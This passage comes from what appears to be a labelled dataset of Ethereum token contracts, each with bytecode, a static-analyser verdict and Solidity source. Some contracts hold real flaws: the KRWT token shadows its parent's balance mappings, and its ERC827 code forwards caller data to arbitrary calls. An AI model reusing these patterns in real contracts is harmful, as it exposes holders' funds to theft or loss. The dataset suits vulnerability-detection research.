05180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b2906124a9565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612589565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612775565b11156112d357600080fd5b6112db610787565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e2306105e3565b611476565b600047905060008111156113ff576113fe476117de565b5b505b5b61140d83838361184a565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190612487565b60405180910390fd5b506000838561146991906127cf565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115025781602001602082028036833780820191505090505b5090503081600081518110611540577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115e257600080fd5b505afa1580156115f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161a9190611f83565b81600181518110611654577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116bb30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161171f959493929190612624565b600060405180830381600087803b15801561173957600080fd5b505af115801561174d573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b60006003548211156117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ae906124c9565b60405180910390fd5b60006117c161185a565b90506117d6818461188590919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611846573d6000803e3d6000fd5b5050565b6118558383836118cf565b505050565b6000806000611867611a9a565b9150915061187e818361188590919063ffffffff16565b9250505090565b60006118c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aed565b905092915050565b6000806000806000806118e187611b50565b95509550955095509550955061193f86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2081611c60565b611a2a8483611d1d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a879190612609565b60405180910390a3505050505050505050565b6000806000600354905060006305f5e1009050611ac66305f5e10060035461188590919063ffffffff16565b821015611ae0576003546305f5e100935093505050611ae9565b81819350935050505b9091565b60008083118290611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b9190612487565b60405180910390fd5b5060008385611b439190612744565b9050809150509392505050565b6000806000806000806000806000611b6d8a600554600554611d57565b9250925092506000611b7d61185a565b90506000806000611b908e878787611ded565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bfa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611c1191906126ee565b905083811015611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90612529565b60405180910390fd5b8091505092915050565b6000611c6a61185a565b90506000611c818284611e7690919063ffffffff16565b9050611cd581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d3282600354611bb890919063ffffffff16565b600381905550611d4d81600454611c0290919063ffffffff16565b6004819055505050565b600080600080611d836064611d75888a611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dad6064611d9f888b611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dd682611dc8858c611bb890919063ffffffff16565b611bb890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611e068589611e7690919063ffffffff16565b90506000611e1d8689611e7690919063ffffffff16565b90506000611e348789611e7690919063ffffffff16565b90506000611e5d82611e4f8587611bb890919063ffffffff16565b611bb890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e895760009050611eeb565b60008284611e979190612775565b9050828482611ea69190612744565b14611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90612549565b60405180910390fd5b809150505b92915050565b600081359050611f0081612bd9565b92915050565b600081519050611f1581612bd9565b92915050565b600081519050611f2a81612bf0565b92915050565b600081359050611f3f81612c07565b92915050565b600081519050611f5481612c07565b92915050565b600060208284031215611f6c57600080fd5b6000611f7a84828501611ef1565b91505092915050565b600060208284031215611f9557600080fd5b6000611fa384828501611f06565b91505092915050565b60008060408385031215611fbf57600080fd5b6000611fcd85828601611ef1565b9250506020611fde85828601611ef1565b9150509250929050565b600080600060608486031215611ffd57600080fd5b600061200b86828701611ef1565b935050602061201c86828701611ef1565b925050604061202d86828701611f30565b9150509250925092565b6000806040838503121561204a57600080fd5b600061205885828601611ef1565b925050602061206985828601611f30565b9150509250929050565b60006020828403121561208557600080fd5b600061209384828501611f1b565b91505092915050565b6000602082840312156120ae57600080fd5b60006120bc84828501611f30565b91505092915050565b6000806000606084860312156120da57600080fd5b60006120e886828701611f45565b93505060206120f986828701611f45565b925050604061210a86828701611f45565b9150509250925092565b6000612120838361212c565b60208301905092915050565b61213581612803565b82525050565b61214481612803565b82525050565b6000612155826126a9565b61215f81856126cc565b935061216a83612699565b8060005b8381101561219b5781516121828882612114565b975061218d836126bf565b92505060018101905061216e565b5085935050505092915050565b6121b181612815565b82525050565b6121c081612858565b82525050565b60006121d1826126b4565b6121db81856126dd565b93506121eb81856020860161286a565b6121f4816128fb565b840191505092915050565b600061220c6023836126dd565b91506122178261290c565b604082019050919050565b600061222f602a836126dd565b915061223a8261295b565b604082019050919050565b60006122526022836126dd565b915061225d826129aa565b604082019050919050565b60006122756017836126dd565b9150612280826129f9565b602082019050919050565b6000612298601b836126dd565b91506122a382612a22565b602082019050919050565b60006122bb6021836126dd565b91506122c682612a4b565b604082019050919050565b60006122de6020836126dd565b91506122e982612a9a565b602082019050919050565b60006123016029836126dd565b915061230c82612ac3565b604082019050919050565b60006123246025836126dd565b915061232f82612b12565b604082019050919050565b60006123476024836126dd565b915061235282612b61565b604082019050919050565b600061236a6018836126dd565b915061237582612bb0565b602082019050919050565b61238981612841565b82525050565b6123988161284b565b82525050565b60006020820190506123b3600083018461213b565b92915050565b60006040820190506123ce600083018561213b565b6123db602083018461213b565b9392505050565b60006040820190506123f7600083018561213b565b6124046020830184612380565b9392505050565b600060c082019050612420600083018961213b565b61242d6020830188612380565b61243a60408301876121b7565b61244760608301866121b7565b612454608083018561213b565b61246160a0830184612380565b979650505050505050565b600060208201905061248160008301846121a8565b92915050565b600060208201905081810360008301526124a181846121c6565b905092915050565b600060208201905081810360008301526124c2816121ff565b9050919050565b600060208201905081810360008301526124e281612222565b9050919050565b6000602082019050818103600083015261250281612245565b9050919050565b6000602082019050818103600083015261252281612268565b9050919050565b600060208201905081810360008301526125428161228b565b9050919050565b60006020820190508181036000830152612562816122ae565b9050919050565b60006020820190508181036000830152612582816122d1565b9050919050565b600060208201905081810360008301526125a2816122f4565b9050919050565b600060208201905081810360008301526125c281612317565b9050919050565b600060208201905081810360008301526125e28161233a565b9050919050565b600060208201905081810360008301526126028161235d565b9050919050565b600060208201905061261e6000830184612380565b92915050565b600060a0820190506126396000830188612380565b61264660208301876121b7565b8181036040830152612658818661214a565b9050612667606083018561213b565b6126746080830184612380565b9695505050505050565b6000602082019050612693600083018461238f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126f982612841565b915061270483612841565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127395761273861289d565b5b828201905092915050565b600061274f82612841565b915061275a83612841565b92508261276a576127696128cc565b5b828204905092915050565b600061278082612841565b915061278b83612841565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127c4576127c361289d565b5b828202905092915050565b60006127da82612841565b91506127e583612841565b9250828210156127f8576127f761289d565b5b828203905092915050565b600061280e82612821565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061286382612841565b9050919050565b60005b8381101561288857808201518184015260208101905061286d565b83811115612897576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612be281612803565b8114612bed57600080fd5b50565b612bf981612815565b8114612c0457600080fd5b50565b612c1081612841565b8114612c1b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220963c5e9226fb2224df813ac0be1bbeeff528ba65f471038696e6973b1e6c6b2364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,101
0x7587623e6a351add10fb8f7212b8f97e0315b570
pragma solidity ^0.4.21; // ---------------------------------------------------------------------------- // TOKENMOM Korean Won(KRWT) Smart contract Token V.10 // 토큰맘 거래소 Korean Won 스마트 컨트랙트 토큰 // Deployed to : 0x8af2d2e23f0913af81abc6ccaa6200c945a161b4 // Symbol : BETA // Name : TOKENMOM Korean Won // Total supply: 10000000000 // Decimals : 8 // ---------------------------------------------------------------------------- contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract KRWT is StandardToken, MintableToken, BurnableToken, PausableToken { string constant public name = "Korean Won"; string constant public symbol = "KRWT"; uint8 constant public decimals = 8; uint256 public totalSupply = 10000000000 * (10 ** uint256(decimals)); mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Pause(address indexed from, uint256 value); event Mint(address indexed to, uint256 amount); function KRWT () public { balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013d578063095ea7b3146101c757806318160ddd146101e957806323b872dd1461020e578063313ce567146102365780633f4ba83a1461025f57806340c10f191461027457806342966c68146102965780635c975abb146102ac57806366188463146102bf57806370a08231146102e15780637d64bcb4146103005780638456cb59146103135780638da5cb5b1461032657806395d89b4114610355578063a9059cbb14610368578063d73dd6231461038a578063dd62ed3e146103ac578063f2fde38b146103d1575b600080fd5b341561012157600080fd5b6101296103f0565b604051901515815260200160405180910390f35b341561014857600080fd5b610150610411565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018c578082015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610129600160a060020a0360043516602435610448565b34156101f457600080fd5b6101fc610473565b60405190815260200160405180910390f35b341561021957600080fd5b610129600160a060020a0360043581169060243516604435610479565b341561024157600080fd5b6102496104a6565b60405160ff909116815260200160405180910390f35b341561026a57600080fd5b6102726104ab565b005b341561027f57600080fd5b610129600160a060020a036004351660243561052b565b34156102a157600080fd5b610272600435610638565b34156102b757600080fd5b61012961071f565b34156102ca57600080fd5b610129600160a060020a036004351660243561072f565b34156102ec57600080fd5b6101fc600160a060020a0360043516610753565b341561030b57600080fd5b61012961076e565b341561031e57600080fd5b61027261081b565b341561033157600080fd5b6103396108a0565b604051600160a060020a03909116815260200160405180910390f35b341561036057600080fd5b6101506108af565b341561037357600080fd5b610129600160a060020a03600435166024356108e6565b341561039557600080fd5b610129600160a060020a036004351660243561090a565b34156103b757600080fd5b6101fc600160a060020a036004358116906024351661092e565b34156103dc57600080fd5b610272600160a060020a0360043516610959565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600a81527f4b6f7265616e20576f6e00000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561046257600080fd5b61046c83836109f4565b9392505050565b60045481565b60035460009060a860020a900460ff161561049357600080fd5b61049e848484610a60565b949350505050565b600881565b60035433600160a060020a039081169116146104c657600080fd5b60035460a860020a900460ff1615156104de57600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461054957600080fd5b60035474010000000000000000000000000000000000000000900460ff161561057157600080fd5b600154610584908363ffffffff610bce16565b600155600160a060020a0383166000908152602081905260409020546105b0908363ffffffff610bce16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610e8e8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526020819052604081205482111561065d57600080fd5b5033600160a060020a0381166000908152602081905260409020546106829083610bdd565b600160a060020a0382166000908152602081905260409020556001546106ae908363ffffffff610bdd16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610e8e8339815191528460405190815260200160405180910390a35050565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561074957600080fd5b61046c8383610bef565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461078c57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156107b457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a0390811691161461083657600080fd5b60035460a860020a900460ff161561084d57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600481527f4b52575400000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561090057600080fd5b61046c8383610ce9565b60035460009060a860020a900460ff161561092457600080fd5b61046c8383610de9565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461097457600080fd5b600160a060020a038116151561098957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a7757600080fd5b600160a060020a038416600090815260208190526040902054821115610a9c57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610acf57600080fd5b600160a060020a038416600090815260208190526040902054610af8908363ffffffff610bdd16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b2d908363ffffffff610bce16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b73908363ffffffff610bdd16565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610e8e8339815191529085905190815260200160405180910390a35060019392505050565b60008282018381101561046c57fe5b600082821115610be957fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c4c57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c83565b610c5c818463ffffffff610bdd16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610d0057600080fd5b600160a060020a033316600090815260208190526040902054821115610d2557600080fd5b600160a060020a033316600090815260208190526040902054610d4e908363ffffffff610bdd16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d83908363ffffffff610bce16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610e8e8339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610e21908363ffffffff610bce16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205b6f7fe073aae941ea93deacd8634e05d7324552cbe565892c51907878bafb830029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
7,102
0x88eb460416af6ed4e0b4818e7c595d67ba94614b
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return 